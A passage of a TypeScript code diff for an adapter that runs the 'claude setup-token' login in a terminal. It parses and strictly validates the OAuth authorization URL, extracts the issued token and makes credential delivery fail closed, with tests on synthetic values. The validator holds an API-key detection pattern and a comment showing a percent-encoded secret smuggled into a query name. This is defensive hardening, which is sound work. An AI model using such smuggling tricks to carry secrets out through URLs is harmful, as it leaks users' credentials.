+const URL_CHARS_ONLY_RE = /^[A-Za-z0-9\-._~:/?#[\]@!$&'()*+,;=%]+$/;
+
 // An ANSI Control Sequence Introducer (CSI): the ESC control byte, a `[`, zero
 // or more parameter bytes (0x30-0x3F), zero or more intermediate bytes
 // (0x20-0x2F), and one final byte (0x40-0x7E). The Claude terminal wraps the
@@ -59,6 +135,18 @@ export const SETUP_TOKEN_URL_QUERY_KEYS = [
 // eslint-disable-next-line no-control-regex
 const ANSI_CSI_RE = /\x1b\[[0-?]*[ -/]*[@-~]/g;
 
+// A horizontal-move CSI sequence: Cursor Horizontal Absolute (final byte `G`)
+// and Cursor Forward (final byte `C`). The Claude login UI lays out each word at
+// an absolute column with one of these sequences, so it emits no literal space
+// between two words. The parser replaces each horizontal-move sequence with one
+// space, so a word gap reads as a space. Without this step the later CSI removal
+// deletes the sequence and glues the two words, and the URL preamble line, the
+// browser-code prompt line, and the success anchor lines never match. The
+// vertical and color sequences carry no horizontal text gap; the CSI removal
+// below drops them.
+// eslint-disable-next-line no-control-regex
+const CSI_HORIZONTAL_MOVE_RE = /\x1b\[[0-9;]*[GC]/g;
+
 // An OSC 8 hyperlink. The terminal emits the URL through an OSC 8 hyperlink plus
 // wrapped display text. The hyperlink carries the true, unwrapped URL in its URI
 // field, while the display text may wrap across lines. The parser replaces the
@@ -76,14 +164,10 @@ const OSC8_HYPERLINK_RE =
 // eslint-disable-next-line no-control-regex
 const OSC_ANY_RE = /\x1b\][^\x1b\x07]*(?:\x1b\\|\x07)/g;
 
-// A candidate URL token: a run of non-space characters that starts with an http
-// or https scheme. The parser validates each candidate with the `URL` class; the
-// regular expression only splits tokens out of the text.
-const URL_TOKEN_RE = /https?:\/\/\S+/g;
-
 // Trailing punctuation that prose commonly puts right after a URL. The parser
-// strips only these characters. It never strips `?` or `#`, so a URL with a
-// stray query or a fragment stays malformed and the parser rejects it.
+// strips only these characters when it compares a line to a repeated URL. It
+// never strips these from the candidate before validation, because the validator
+// rejects any trailing punctuation on its own.
 const TRAILING_PUNCTUATION_RE = /[)\].,;:!]+$/;
 
 // The line that introduces the URL. The Claude login UI prints this phrase right
@@ -97,134 +181,218 @@ const URL_PREAMBLE_RE = /the url below to sign in/i;
 // the line.
 const PROMPT_LINE_RE = /^Paste code here if prompted\b[\s>*]*$/;
 
-// An API-key-shaped value. The Claude setup token and API key start with the
-// `sk-ant-` prefix. The parser rejects a URL that embeds such a value, so a
-// secret cannot ride inside the authorization URL.
-const API_KEY_RE = /sk-ant-[a-z0-9-]{2,}/i;
-
 // The maximum number of characters between the end of the URL preamble line and
 // the start of the URL. The Claude UI prints the URL right after the preamble.
-// The parser looks for the URL only inside this window, so a URL far from the
+// The parser accepts a URL start only inside this window, so a URL far from the
 // preamble cannot bind.
 const MAX_PREAMBLE_TO_URL_GAP = 512;
 
-// The maximum number of characters after the end of the URL line that the parser
-// reads for the browser-code prompt. The Claude UI prints the prompt one line
-// after the URL. The window is large enough for the real prompt line and small
-// enough to reject distant noise.
-const MAX_URL_TO_PROMPT_GAP = 256;
+// The maximum number of consecutive physical lines that the parser joins to
+// reassemble a wrapped plain-text URL. The `claude` 2.1.19 CLI wraps the URL at
+// the terminal width with no space at the wrap, so the parser joins a bounded
+// run of URL-character-only lines.
+const MAX_URL_LINES = 16;
 
-// The result of a URL search: the validated URL and the index of the first
-// character after the matched URL token in the search window.
+// The result of a URL search: the validated URL and the index of the physical
+// line that holds the last fragment of the URL.
 interface SetupTokenUrlMatch {
   url: string;
-  end: number;
+  endLine: number;
 }
 
 /**
  * Removes the terminal control sequences from `text`. Replaces each OSC 8
  * hyperlink with its true URI, so the parser reads the unwrapped URL and drops
- * the wrapped display text. Removes each leftover OSC sequence and each ANSI CSI
- * sequence. Returns plain text. The function only normalizes the input; the URL
- * and the prompt still pass the strict validation below.
+ * the wrapped display text. Removes each leftover OSC sequence. Replaces each
+ * horizontal-move CSI sequence with one space, so a word that the login UI lays
+ * out at an absolute column reads as a space-separated word. Removes each
+ * remaining ANSI CSI sequence. Returns plain text. The function only normalizes
+ * the input; the URL and the prompt still pass the shape validation below.
  */
 function stripTerminalControls(text: string): string {
   return text
     .replace(OSC8_HYPERLINK_RE, "$1")
     .replace(OSC_ANY_RE, "")
+    .replace(CSI_HORIZONTAL_MOVE_RE, " ")
     .replace(ANSI_CSI_RE, "");
 }
 
 /**
- * Returns the slice of `text` that starts at `start` and holds at most
- * `maxLength` characters. The parser uses this window to bound a gap between two
- * anchors, so a distant match cannot bind.
+ * Returns true when `value` is a valid `scope` value: one to eight
+ * space-separated tokens, a total length of at most {@link MAX_SCOPE_LENGTH},
+ * and each token a match of {@link SCOPE_TOKEN_RE}. A double space forms an empty
+ * token, which fails the token pattern, so a malformed value fails closed.
  */
-function gapWindow(text: string, start: number, maxLength: number): string {
-  return text.slice(start, start + maxLength);
+function isValidScope(value: string): boolean {
+  if (value.length < 1 || value.length > MAX_SCOPE_LENGTH) return false;
+  const tokens = value.split(" ");
+  if (tokens.length < 1 || tokens.length > MAX_SCOPE_TOKENS) return false;
+  return tokens.every((token) => SCOPE_TOKEN_RE.test(token));
 }
 
 /**
- * Returns true when the query keys of `parsed` equal
- * {@link SETUP_TOKEN_URL_QUERY_KEYS} exactly: no missing key, no extra key, and
- * no duplicate key.
+ * Returns true when `value` is the one accepted `redirect_uri`. The function
+ * parses the decoded value on its own and pins it to {@link
+ * SETUP_TOKEN_REDIRECT_URI}, with the `https:` protocol, no userinfo, no port,
+ * no query, and no fragment. It never broadens to an arbitrary HTTPS URL.
  */
-function hasExactQueryKeys(parsed: URL): boolean {
-  const keys = [...parsed.searchParams.keys()];
-  if (keys.length !== SETUP_TOKEN_URL_QUERY_KEYS.length) return false;
-  const seen = new Set(keys);
-  if (seen.size !== keys.length) return false;
-  return SETUP_TOKEN_URL_QUERY_KEYS.every((key) => seen.has(key));
+function isValidRedirectUri(value: string): boolean {
+  let parsed: URL;
+  try {
+    parsed = new URL(value);
+  } catch {
+    return false;
+  }
+  if (parsed.protocol !== "https:") return false;
+  if (parsed.username !== "" || parsed.password !== "") return false;
+  if (parsed.port !== "") return false;
+  if (parsed.search !== "" || parsed.hash !== "") return false;
+  return `${parsed.origin}${parsed.pathname}` === SETUP_TOKEN_REDIRECT_URI;
 }
 
 /**
- * Returns the authorization URL and its end index when `window` holds it with
- * the exact origin {@link SETUP_TOKEN_URL_ORIGIN}, the exact path
- * {@link SETUP_TOKEN_URL_PATH}, the exact query keys, no fragment, and no
- * credentials. Rejects a URL that embeds an API-key-shaped value. Returns null
- * otherwise. The `end` index is the position of the first character after the
- * matched token in `window`.
+ * Returns true when the query of `parsed` matches the contract. It requires each
+ * required key one time with a valid decoded value. It rejects a duplicate for
+ * any key. It accepts at most {@link MAX_ADDED_KEYS} added keys, each with a
+ * valid name, one value, and a decoded value of at most 256 printable ASCII
+ * characters. It rejects an API-key prefix in any decoded value.
  */
-function findExactUrl(window: string): SetupTokenUrlMatch | null {
-  for (const match of window.matchAll(URL_TOKEN_RE)) {
-    const token = match[0];
-    if (API_KEY_RE.test(token)) continue;
-    const cleaned = token.replace(TRAILING_PUNCTUATION_RE, "");
-    let parsed: URL;
-    try {
-      parsed = new URL(cleaned);
-    } catch {
-      continue;
-    }
-    if (
-      parsed.protocol === "https:" &&
-      parsed.host === "claude.com" &&
-      parsed.pathname === SETUP_TOKEN_URL_PATH &&
-      parsed.hash === "" &&
-      parsed.username === "" &&
-      parsed.password === "" &&
-      hasExactQueryKeys(parsed)
-    ) {
-      return { url: cleaned, end: (match.index ?? 0) + token.length };
-    }
+function hasValidQuery(parsed: URL): boolean {
+  // Collect the values of each key, so the parser can reject a duplicate key and
+  // read the one decoded value of each key.
+  const byKey = new Map<string, string[]>();
+  for (const [key, value] of parsed.searchParams) {
+    const values = byKey.get(key);
+    if (values) values.push(value);
+    else byKey.set(key, [value]);
+  }
+
+  // Reject a duplicate for any key. After this test each key holds one value.
+  for (const values of byKey.values()) {
+    if (values.length !== 1) return false;
+  }
+
+  // Reject an API-key prefix in any decoded key and any decoded value. The
+  // `URLSearchParams` decoder turns a percent-encoded name into its literal
+  // form, so a secret-shaped value can hide in a query name (for example,
+  // `sk%2Dant%2Dredacted` decodes to `sk-ant-redacted`). The parser rejects the
+  // prefix in the name and in the value, before it classifies an added key. The
+  // raw-candidate check stays in place as defense in depth.
+  for (const [key, values] of byKey) {
+    if (API_KEY_RE.test(key)) return false;
+    if (API_KEY_RE.test(values[0])) return false;
+  }
+
+  // Require each required key.
+  for (const key of SETUP_TOKEN_URL_QUERY_KEYS) {
+    if (!byKey.has(key)) return false;
+  }
+
+  // Bound the added keys and validate each one.
+  const addedKeys = [...byKey.keys()].filter((key) => !SETUP_TOKEN_CORE_KEY_SET.has(key));
+  if (addedKeys.length > MAX_ADDED_KEYS) return false;
+  for (const key of addedKeys) {
+    if (!ADDED_KEY_NAME_RE.test(key)) return false;
+    if (!ADDED_VALUE_RE.test(byKey.get(key)![0])) return false;
+  }
+
+  // Validate each required value.
+  if (!CLIENT_ID_RE.test(byKey.get("client_id")![0])) return false;
+  if (!CODE_RE.test(byKey.get("code")![0])) return false;
+  if (!CODE_CHALLENGE_RE.test(byKey.get("code_challenge")![0])) return false;
+  if (byKey.get("code_challenge_method")![0] !== "S256") return false;
+  if (byKey.get("response_type")![0] !== "code") return false;
+  if (!STATE_RE.test(byKey.get("state")![0])) return false;
+  if (!isValidScope(byKey.get("scope")![0])) return false;
+  if (!isValidRedirectUri(byKey.get("redirect_uri")![0])) return false;
+  return true;
+}
+
+/**
+ * Returns `candidate` when it is a valid authorization URL, or null. The final
+ * validator applies to every candidate, from an OSC 8 URI or from a plain-text
+ * reassembly. It requires the length cap {@link MAX_URL_LENGTH}, an exact
+ * lowercase host prefix, no API-key prefix in the raw candidate, the `https:`
+ * protocol, empty userinfo, empty port, no fragment, one of the two accepted
+ * origin-and-path pairs, and a valid query.
+ */
+function validateAuthUrl(candidate: string): string | null {
+  if (candidate.length > MAX_URL_LENGTH) return null;
+  if (!SETUP_TOKEN_AUTH_URL_PREFIXES.some((prefix) => candidate.startsWith(prefix))) return null;
+  if (API_KEY_RE.test(candidate)) return null;
+  let parsed: URL;
+  try {
+    parsed = new URL(candidate);
+  } catch {
+    return null;
+  }
+  if (parsed.protocol !== "https:") return null;
+  if (parsed.username !== "" || parsed.password !== "") return null;
+  if (parsed.port !== "" || parsed.hash !== "") return null;
+  const pair = `${parsed.origin}${parsed.pathname}`;
+  if (!SETUP_TOKEN_AUTH_URLS.includes(pair as (typeof SETUP_TOKEN_AUTH_URLS)[number])) return null;
+  if (!hasValidQuery(parsed)) return null;
+  return candidate;
+}
+
+/**
+ * Reassembles a wrapped plain-text URL from the physical lines and validates it.
+ * The parser starts at `startLine`, then joins at most {@link MAX_URL_LINES}
+ * consecutive URL-character-only physical lines into at most {@link
+ * MAX_URL_LENGTH} characters. It validates the joined string after each join and
+ * returns the first joined string that passes {@link validateAuthUrl}. A CLI that
+ * emits the whole URL on one line passes on the first join. A CLI that wraps the
+ * URL passes once the parser joins the last fragment. Returns null when no bounded
+ * join validates.
+ */
+function reassembleUrl(lines: string[], startLine: number): SetupTokenUrlMatch | null {
+  let joined = "";
+  for (let offset = 0; offset < MAX_URL_LINES && startLine + offset < lines.length; offset += 1) {
+    const trimmed = lines[startLine + offset].trim();
+    if (trimmed.length === 0 || !URL_CHARS_ONLY_RE.test(trimmed)) break;
+    joined += trimmed;
+    if (joined.length > MAX_URL_LENGTH) break;
+    const url = validateAuthUrl(joined);
+    if (url) return { url, endLine: startLine + offset };
   }
   return null;
 }
 
 /**
- * Returns the canonical browser-code prompt when `text` holds it on a dedicated
- * line after the URL line. The parser advances past the URL line to the first
- * newline, then reads the first non-blank line inside a window after it. That
- * line must match the exact prompt shape. So the prompt binds to the dedicated
- * line that the UI prints right after the URL. A code-like value on that line, or
- * the prompt phrase mixed with other prose, cannot bind. Returns null when the
- * URL line has no line break after it, or when the first non-blank line is not
- * the prompt.
+ * Returns the canonical browser-code prompt when `lines` holds it on a dedicated
+ * line after the URL block. The parser reads the non-blank lines after the URL
+ * end line. The Claude UI can emit one full URL line per wrapped display row, so
+ * it repeats the same full authorization URL on a few consecutive lines. The
+ * parser skips a line that repeats `url`, then binds the prompt on the first
+ * non-blank, non-repeat line. That line must match the exact prompt shape.
+ * Returns null when the first non-blank, non-repeat line is not the prompt.
  */
-function findBrowserCodePrompt(text: string, urlEnd: number): string | null {
-  const lineBreak = text.indexOf("\n", urlEnd);
-  if (lineBreak === -1) return null;
-  const window = gapWindow(text, lineBreak + 1, MAX_URL_TO_PROMPT_GAP);
-  for (const line of window.split("\n")) {
-    const trimmed = line.trim();
+function findBrowserCodePrompt(lines: string[], endLine: number, url: string): string | null {
+  for (let i = endLine + 1; i < lines.length; i += 1) {
+    const trimmed = lines[i].trim();
     if (trimmed.length === 0) continue;
+    // Skip a line that repeats the full URL. Strip the trailing prose
+    // punctuation first, the same way the repeated-URL comparison needs, so a
+    // repeated URL with a trailing punctuation mark still matches.
+    if (trimmed.replace(TRAILING_PUNCTUATION_RE, "") === url) continue;
     return PROMPT_LINE_RE.test(trimmed) ? SETUP_TOKEN_PROMPT : null;
   }
   return null;
 }
 
 /**
- * Parses Claude `setup-token` login output. Removes ANSI CSI sequences and OSC 8
- * hyperlink sequences first, so colored and hyperlinked output reads the same as
- * plain output. The parser finds the URL preamble, then the exact authorization
- * URL inside a window after the preamble, then the browser-code prompt on the
- * dedicated line after the URL line. So the URL binds to the login context and
- * the prompt binds to the URL. Returns the authorization URL and the browser-code
- * prompt when both are present and valid. Returns null for any other input,
- * including a non-string input, an absent preamble, a URL with a wrong origin,
- * path, query, or fragment, an API-key-shaped URL, and a missing or misplaced
- * prompt. Never throws on input, and never puts any input byte into a log or an
- * error. This phase returns no token.
+ * Parses Claude `setup-token` login output. Removes the terminal control
+ * sequences first, so colored and hyperlinked output reads the same as plain
+ * output. The parser finds the URL preamble, then a physical line that starts the
+ * authorization URL within {@link MAX_PREAMBLE_TO_URL_GAP} characters of the
+ * preamble, then reassembles the wrapped URL and validates the final string, then
+ * binds the browser-code prompt on the dedicated line after the URL block. So the
+ * URL binds to the login context and the prompt binds to the URL. Returns the
+ * authorization URL and the browser-code prompt when both are present and valid.
+ * Returns null for any other input, including a non-string input, an absent
+ * preamble, a URL with a wrong host, path, query, or fragment, an API-key-shaped
+ * URL, and a missing or misplaced prompt. Never throws on input, and never puts
+ * any input byte into a log or an error. This phase returns no token.
  */
 export function parseSetupTokenPrompt(text: string): SetupTokenPrompt | null {
   if (typeof text !== "string" || text.length === 0) return null;
@@ -232,13 +400,25 @@ export function parseSetupTokenPrompt(text: string): SetupTokenPrompt | null {
   const preamble = URL_PREAMBLE_RE.exec(clean);
   if (!preamble) return null;
   const afterPreamble = preamble.index + preamble[0].length;
-  const urlWindow = gapWindow(clean, afterPreamble, MAX_PREAMBLE_TO_URL_GAP);
-  const urlMatch = findExactUrl(urlWindow);
-  if (!urlMatch) return null;
-  const urlEnd = afterPreamble + urlMatch.end;
-  const prompt = findBrowserCodePrompt(clean, urlEnd);
-  if (!prompt) return null;
-  return { url: urlMatch.url, prompt };
+  // The region after the preamble. The URL must start inside the start window.
+  const region = clean.slice(afterPreamble);
+  const lines = region.split("\n");
+
+  // Walk the physical lines and track the character offset of each line start.
+  // The URL must start within MAX_PREAMBLE_TO_URL_GAP characters of the preamble.
+  let offset = 0;
+  for (let i = 0; i < lines.length; i += 1) {
+    const lineStart = offset;
+    offset += lines[i].length + 1;
+    if (lineStart > MAX_PREAMBLE_TO_URL_GAP) break;
+    const trimmed = lines[i].trim();
+    if (!SETUP_TOKEN_AUTH_URL_PREFIXES.some((prefix) => trimmed.startsWith(prefix))) continue;
+    const match = reassembleUrl(lines, i);
+    if (!match) continue;
+    const prompt = findBrowserCodePrompt(lines, match.endLine, match.url);
+    if (prompt) return { url: match.url, prompt };
+  }
+  return null;
 }
 
 // --- The success token parser ------------------------------------------------
@@ -305,7 +485,15 @@ function singleAnchorIndex(lines: string[], anchor: string): number | null {
 export function parseSetupTokenCredential(text: string): string | null {
   if (typeof text !== "string" || text.length === 0) return null;
   const clean = stripTerminalControls(text);
-  const lines = clean.split("\n");
+  // Canonicalize the record delimiter. The real terminal redraw joins the
+  // before-anchor line, the token, and the after-anchor line with a bare
+  // carriage return, or a CRLF pair, instead of a line feed. Map each CRLF and
+  // each bare carriage return to one line feed, so each anchor line and each
+  // token fragment lands on its own line. This step changes the record
+  // delimiter only. It cannot add a token byte, and the interval validation
+  // below still rejects partial, extra, or prose data.
+  const normalized = clean.replace(/\r\n|\r/g, "\n");
+  const lines = normalized.split("\n");
 
   const beforeIndex = singleAnchorIndex(lines, SETUP_TOKEN_BEFORE_ANCHOR);
   const afterIndex = singleAnchorIndex(lines, SETUP_TOKEN_AFTER_ANCHOR);
diff --git a/packages/adapters/claude-local/src/server/setup-token-runner.test.ts b/packages/adapters/claude-local/src/server/setup-token-runner.test.ts
index 7e4cd2db2e1..ede26a52a74 100644
--- a/packages/adapters/claude-local/src/server/setup-token-runner.test.ts
+++ b/packages/adapters/claude-local/src/server/setup-token-runner.test.ts
@@ -11,7 +11,7 @@ import {
 // A well-formed authorization URL. The query keys match the contract exactly.
 // The values are synthetic; no real value is present.
 const VALID_URL =
-  "https://claude.com/cai/oauth/authorize?client_id=cid&code=abc&code_challenge=chal&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fexample.test%2Fcb&response_type=code&scope=user&state=st";
+  "https://claude.com/cai/oauth/authorize?client_id=cid&code=abcdefgh&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fplatform.claude.com%2Foauth%2Fcode%2Fcallback&response_type=code&scope=user&state=0123456789abcdef";
 
 // The rendered login output. The preamble line, the URL line, and the dedicated
 // prompt line match the Phase 2 parser contract.
@@ -97,11 +97,14 @@ async function flush(): Promise<void> {
 
 describe("runSetupTokenLogin", () => {
   it("sends one login URL through onPrompt", async () => {
-    const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT], exitCode: 0 });
+    // A success stream and a resolving sink, so the run reports success after the
+    // runner delivers the credential.
+    const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT, SUCCESS_OUTPUT], exitCode: 0 });
     const onPrompt = vi.fn();
     const result = await runSetupTokenLogin(fake.driver, {
       onPrompt,
       provideCode: async () => BROWSER_CODE,
+      onCredential: async () => {},
       timeoutMs: 1000,
     });
     expect(result.outcome).toBe("success");
@@ -111,12 +114,15 @@ describe("runSetupTokenLogin", () => {
   });
 
   it("accepts one browser code and sends it to the prompt", async () => {
-    const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT] });
+    // The stream carries the prompt and the success record. The runner submits the
+    // code, then it delivers the credential and reports success after the sink.
+    const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT, SUCCESS_OUTPUT] });
     const onPrompt = vi.fn();
     const provideCode = vi.fn(async () => BROWSER_CODE);
     const promise = runSetupTokenLogin(fake.driver, {
       onPrompt,
       provideCode,
+      onCredential: async () => {},
       timeoutMs: 1000,
       codeSubmitSettleMs: 0,
     });
@@ -247,27 +253,34 @@ describe("runSetupTokenLogin", () => {
     expect(onPrompt).toHaveBeenCalledWith({ url: VALID_URL, prompt: SETUP_TOKEN_PROMPT });
   });
 
-  it("delivers no token when the success stream has no token block", async () => {
+  it("fails when a clean exit has no token block, even with a sink present", async () => {
     // The stream holds only the prompt, so the token parser binds nothing. The
-    // runner delivers no credential and reports credentialDelivered false.
+    // runner treats a clean exit with no bound token as a failure. It never calls
+    // the sink and never reports success.
     const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT], exitCode: 0 });
-    const onCredential = vi.fn();
+    const onCredential = vi.fn(async () => {});
     const result = await runSetupTokenLogin(fake.driver, {
       onPrompt: () => {},
       provideCode: async () => BROWSER_CODE,
       onCredential,
       timeoutMs: 1000,
     });
-    expect(result.outcome).toBe("success");
+    expect(result.outcome).toBe("failure");
     expect(onCredential).not.toHaveBeenCalled();
     expect(result.credentialDelivered).toBe(false);
     expect(result).not.toHaveProperty("token");
     expect(result).not.toHaveProperty("credential");
   });
 
-  it("delivers the de-wrapped token once through onCredential on a success stream", async () => {
+  it("delivers the de-wrapped token once through onCredential and zeros it after", async () => {
     const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT, SUCCESS_OUTPUT], exitCode: 0 });
-    const onCredential = vi.fn();
+    // The sink copies the token value, because the runner zeros the buffer after
+    // the delivery. The test reads the copy for the value and the original for the
+    // zeroing proof.
+    let received: string | null = null;
+    const onCredential = vi.fn(async (bytes: Buffer) => {
+      received = bytes.toString("utf8");
+    });
     const result = await runSetupTokenLogin(fake.driver, {
       onPrompt: () => {},
       provideCode: async () => BROWSER_CODE,
@@ -277,9 +290,11 @@ describe("runSetupTokenLogin", () => {
     expect(result.outcome).toBe("success");
     expect(result.credentialDelivered).toBe(true);
     expect(onCredential).toHaveBeenCalledTimes(1);
+    expect(received).toBe(FULL_TOKEN);
+    // The runner zeros the token bytes after a successful delivery.
     const bytes = onCredential.mock.calls[0][0] as Buffer;
     expect(Buffer.isBuffer(bytes)).toBe(true);
-    expect(bytes.toString("utf8")).toBe(FULL_TOKEN);
+    expect(bytes.every((byte) => byte === 0)).toBe(true);
   });
 
   it("keeps the token out of every log, result, and error field", async () => {
@@ -288,7 +303,7 @@ describe("runSetupTokenLogin", () => {
     const result = await runSetupTokenLogin(fake.driver, {
       onPrompt: () => {},
       provideCode: async () => BROWSER_CODE,
-      onCredential: () => {},
+      onCredential: async () => {},
       timeoutMs: 1000,
       log: (line) => {
         logs.push(line);
@@ -300,19 +315,60 @@ describe("runSetupTokenLogin", () => {
     expect(result.credentialDelivered).toBe(true);
   });
 
-  it("never scans for the token when no onCredential sink is present", async () => {
-    // With no sink the runner never holds the post-prompt stream and delivers
-    // nothing, even when the success block is present.
+  it("fails closed when no onCredential sink is present, even on a success stream", async () => {
+    // The sink is mandatory for a successful run. With no sink the runner never
+    // scans for the token and treats the clean exit as a failure, even when the
+    // success block is present.
     const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT, SUCCESS_OUTPUT], exitCode: 0 });
     const result = await runSetupTokenLogin(fake.driver, {
       onPrompt: () => {},
       provideCode: async () => BROWSER_CODE,
       timeoutMs: 1000,
     });
-    expect(result.outcome).toBe("success");
+    expect(result.outcome).toBe("failure");
     expect(result.credentialDelivered).toBe(false);
   });
 
+  it("fails and zeros the token when the sink throws synchronously", async () => {
+    const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT, SUCCESS_OUTPUT], exitCode: 0 });
+    let seen: Buffer | null = null;
+    const result = await runSetupTokenLogin(fake.driver, {
+      onPrompt: () => {},
+      provideCode: async () => BROWSER_CODE,
+      // A synchronous throw. The runner catches it, fails closed, and never
+      // reports success.
+      onCredential: (bytes) => {
+        seen = bytes;
+        throw new Error("synchronous sink failure");
+      },
+      timeoutMs: 1000,
+    });
+    expect(result.outcome).toBe("failure");
+    expect(result.credentialDelivered).toBe(false);
+    expect(seen).not.toBeNull();
+    expect((seen as unknown as Buffer).every((byte) => byte === 0)).toBe(true);
+  });
+
+  it("fails and zeros the token when the sink rejects asynchronously", async () => {
+    const fake = createFakeDriver({ chunks: [PROMPT_OUTPUT, SUCCESS_OUTPUT], exitCode: 0 });
+    let seen: Buffer | null = null;
+    const result = await runSetupTokenLogin(fake.driver, {
+      onPrompt: () => {},
+      provideCode: async () => BROWSER_CODE,
+      // An asynchronous rejection. The runner does not swallow it: it maps the
+      // rejection to a failure and never reports success.
+      onCredential: async (bytes) => {
+        seen = bytes;
+        throw new Error("asynchronous sink failure");
+      },
+      timeoutMs: 1000,
+    });
+    expect(result.outcome).toBe("failure");
+    expect(result.credentialDelivered).toBe(false);
+    expect(seen).not.toBeNull();
+    expect((seen as unknown as Buffer).every((byte) => byte === 0)).toBe(true);
+  });
+
   it("exposes the fixed setup-token command", () => {
     expect(CLAUDE_SETUP_TOKEN_COMMAND).toBe("claude setup-token");
   });
diff --git a/packages/adapters/claude-local/src/server/setup-token-runner.ts b/packages/adapters/claude-local/src/server/setup-token-runner.ts
index 1d06a46e980..076323f7f6b 100644
--- a/packages/adapters/claude-local/src/server/setup-token-runner.ts
+++ b/packages/adapters/claude-local/src/server/setup-token-runner.ts
@@ -1,3 +1,10 @@
+import {
+  raceLoginRunnerExit,
+  type LoginRunnerDisposable,
+  type LoginRunnerLifecycleOptions,
+  type LoginRunnerOutcome,
+  type LoginRunnerResult,
+} from "@paperclipai/adapter-utils";
 import {
   parseSetupTokenCredential,
   parseSetupTokenPrompt,
@@ -19,14 +26,17 @@ import {
 // time through the in-memory `onPrompt` callback. It reads the browser code one
 // time through the in-memory `provideCode` callback and writes the code only to
 // the child, only after it matches the prompt. It delivers the token one time
-// through the in-memory `onCredential` callback. The runner keeps the URL, the
-// code, and any token byte out of every log line and every thrown error.
+// through the in-memory `onCredential` sink. The runner keeps the URL, the code,
+// and any token byte out of every log line and every thrown error.
 //
-// Token delivery binds to the success record. The runner scans the post-prompt
-// stream with {@link parseSetupTokenCredential}, which returns the token only
-// from the exact success record. The {@link SETUP_TOKEN_CREDENTIAL_RELEASE_GATE}
-// stays open only while a caller provides an `onCredential` sink; without a sink
-// the runner never scans for the token.
+// Fail-closed credential delivery. The `onCredential` sink is mandatory and
+// awaited. The runner binds the token from the exact success record with
+// {@link parseSetupTokenCredential}, then it awaits the sink one time. It sets
+// `credentialDelivered` true only after the sink resolves. A missing sink, a
+// success stream with no token, and a sink rejection each end the run as a
+// failure; the runner never reports success without a resolved sink. The runner
+// zeros the token bytes in a `finally` block on every path, so the secret never
+// outlives the delivery.
 
 /** The fixed Claude setup-token command. The login flow needs a PTY. */
 export const CLAUDE_SETUP_TOKEN_COMMAND = "claude setup-token";
@@ -61,20 +71,12 @@ export const CODE_SUBMIT_SETTLE_MS = 150;
  */
 export const CLAUDE_SETUP_TOKEN_MAX_BUFFER_CHARS = 64 * 1024;
 
-/**
- * The release gate for the credential seam. The gate is open, so the runner
- * delivers the token that {@link parseSetupTokenCredential} binds from the
- * success record. The runner still scans for the token only when a caller
- * provides an `onCredential` sink.
- */
-export const SETUP_TOKEN_CREDENTIAL_RELEASE_GATE: boolean = true;
-
 /**
  * The child side of the setup-token run. The runner never spawns the PTY
  * directly; a caller injects a concrete driver. A production driver binds these
  * methods to a PTY child that runs {@link CLAUDE_SETUP_TOKEN_COMMAND}.
  */
-export interface SetupTokenPtyDriver {
+export interface SetupTokenPtyDriver extends LoginRunnerDisposable {
   /**
    * Starts `command` in a PTY and streams the terminal output to `onData` in
    * memory. Resolves with the child exit code when the child ends. A driver must
@@ -92,8 +94,6 @@ export interface SetupTokenPtyDriver {
    * and safe to call more than one time.
    */
   stop(): void;
-  /** Releases the driver resources. */
-  dispose(): Promise<void>;
 }
 
 /** Receives the parsed prompt one time in memory. The caller displays it. */
@@ -108,44 +108,45 @@ export type SetupTokenCodeProvider = (signal: AbortSignal) => Promise<string>;
 
 /**
  * Receives the credential bytes one time in memory on success. The runner binds
- * the token from the success record, then it invokes this sink one time with the
- * token bytes. The runner never logs the bytes and never stores them on the
- * result.
+ * the token from the success record, then it awaits this sink one time with the
+ * token bytes. The sink is mandatory and it returns a promise; the runner awaits
+ * that promise before it reports success. A sink rejection ends the run as a
+ * failure. The runner never logs the bytes and never stores them on the result.
  */
-export type SetupTokenCredentialSink = (authBytes: Buffer) => void | Promise<void>;
+export type SetupTokenCredentialSink = (authBytes: Buffer) => Promise<void>;
 
-export type SetupTokenOutcome = "success" | "failure" | "timeout" | "cancelled";
+/** The setup-token runner outcome. It is a fixed, non-secret status. */
+export type SetupTokenOutcome = LoginRunnerOutcome;
 
-/** The runner result. It never carries a URL, a code, or a token byte. */
-export interface SetupTokenLoginResult {
-  outcome: SetupTokenOutcome;
-  exitCode: number | null;
-  promptSurfaced: boolean;
+/**
+ * The runner result. It never carries a URL, a code, or a token byte. It extends
+ * the base result with the two setup-token status fields.
+ */
+export interface SetupTokenLoginResult extends LoginRunnerResult {
   codeSubmitted: boolean;
   /** True when the runner bound the token and invoked `onCredential` one time. */
   credentialDelivered: boolean;
 }
 
-export interface RunSetupTokenLoginOptions {
+export interface RunSetupTokenLoginOptions extends LoginRunnerLifecycleOptions {
   /** The login command. Defaults to {@link CLAUDE_SETUP_TOKEN_COMMAND}. */
   command?: string;
   /** Receives the parsed prompt one time in memory. The caller displays it. */
   onPrompt: SetupTokenPromptSink;
   /** Returns the one browser code. The runner writes it to the matched prompt. */
   provideCode: SetupTokenCodeProvider;
-  /** The credential sink. The runner invokes it one time with the token bytes. */
+  /**
+   * The credential sink. The runner awaits it one time with the token bytes and
+   * reports success only after it resolves. The sink is mandatory for a
+   * successful run: a missing sink ends the run as a failure. The option stays
+   * optional so a caller can drive a fail-closed path with no sink.
+   */
   onCredential?: SetupTokenCredentialSink;
   /**
    * The settle delay in milliseconds between the code write and the terminator
    * write. Defaults to {@link CODE_SUBMIT_SETTLE_MS}. A test sets it to 0.
    */
   codeSubmitSettleMs?: number;
-  /** The host-side timeout in milliseconds. */
-  timeoutMs: number;
-  /** An optional cancellation signal. */
-  signal?: AbortSignal;
-  /** A non-leaking progress sink. It receives only fixed status lines. */
-  log?: (line: string) => void;
 }
 
 /**
@@ -167,45 +168,6 @@ function settleDelay(ms: number, signal: AbortSignal): Promise<void> {
   });
 }
 
-type RaceResult =
-  | { kind: "exit"; exitCode: number | null }
-  | { kind: "timeout" }
-  | { kind: "cancelled" };
-
-/**
- * Races the streaming start against the timeout and the cancellation signal. The
